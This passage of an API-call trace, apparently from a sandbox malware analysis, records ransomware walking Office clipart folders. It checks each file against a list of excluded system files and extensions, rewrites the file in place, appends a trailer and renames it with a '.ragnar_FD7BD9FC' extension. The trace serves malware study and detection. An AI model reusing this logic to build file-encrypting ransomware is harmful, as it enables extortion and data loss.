nNumberOfBytesToLockHigh=0x0) returned 1 [0080.056] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.056] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.057] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.057] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.057] GetProcessHeap () returned 0x580000 [0080.057] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.057] CloseHandle (hObject=0xf4) returned 1 [0080.059] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" [0080.059] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ragnar_FD7BD9FC" [0080.059] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0080.060] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.060] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04323_.WMF" | out: lpString1="AN04323_.WMF") returned="AN04323_.WMF" [0080.060] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned=".WMF" [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="autorun.inf") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="boot.ini") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="bootfont.bin") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="bootsect.bak") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="bootmgr") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="bootmgr.efi") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="desktop.ini") returned -1 [0080.060] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="iconcache.db") returned -1 [0080.061] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="ntldr") returned -1 [0080.061] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="ntuser.dat") returned -1 [0080.061] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.061] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="ntuser.ini") returned -1 [0080.061] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="thumbs.db") returned -1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.061] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0080.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.062] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2492) returned 1 [0080.062] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.062] GetProcessHeap () returned 0x580000 [0080.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.062] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.065] VirtualAlloc (lpAddress=0x0, dwSize=0x9bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.065] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9bc, lpOverlapped=0x0) returned 1 [0080.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.065] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.065] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9bc, lpOverlapped=0x0) returned 1 [0080.065] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.065] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.066] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.066] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.066] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.066] GetProcessHeap () returned 0x580000 [0080.066] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.066] CloseHandle (hObject=0xf4) returned 1 [0080.066] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" [0080.066] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ragnar_FD7BD9FC" [0080.066] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.067] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0080.067] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.067] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04326_.WMF" | out: lpString1="AN04326_.WMF") returned="AN04326_.WMF" [0080.067] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned=".WMF" [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="autorun.inf") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="boot.ini") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="bootfont.bin") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="bootsect.bak") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="bootmgr") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="bootmgr.efi") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="desktop.ini") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="iconcache.db") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="ntldr") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="ntuser.dat") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="ntuser.ini") returned -1 [0080.067] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="thumbs.db") returned -1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.068] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0080.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.068] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3348) returned 1 [0080.068] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.068] GetProcessHeap () returned 0x580000 [0080.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.068] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.077] VirtualAlloc (lpAddress=0x0, dwSize=0xd14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.078] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd14, lpOverlapped=0x0) returned 1 [0080.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd14, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.078] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd14, lpOverlapped=0x0) returned 1 [0080.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.078] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.079] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.079] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.079] GetProcessHeap () returned 0x580000 [0080.079] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.079] CloseHandle (hObject=0xf4) returned 1 [0080.079] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" [0080.079] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ragnar_FD7BD9FC" [0080.079] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0080.080] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.080] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04332_.WMF" | out: lpString1="AN04332_.WMF") returned="AN04332_.WMF" [0080.080] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned=".WMF" [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="autorun.inf") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="boot.ini") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootfont.bin") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootsect.bak") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootmgr") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootmgr.efi") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="desktop.ini") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="iconcache.db") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ntldr") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ntuser.dat") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ntuser.ini") returned -1 [0080.080] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="thumbs.db") returned -1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0080.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.081] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4296) returned 1 [0080.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.081] GetProcessHeap () returned 0x580000 [0080.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.081] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.083] VirtualAlloc (lpAddress=0x0, dwSize=0x10c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.083] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10c8, lpOverlapped=0x0) returned 1 [0080.084] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.084] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.084] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10c8, lpOverlapped=0x0) returned 1 [0080.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.084] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.085] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.085] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.085] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.085] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.085] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.085] UnlockFile 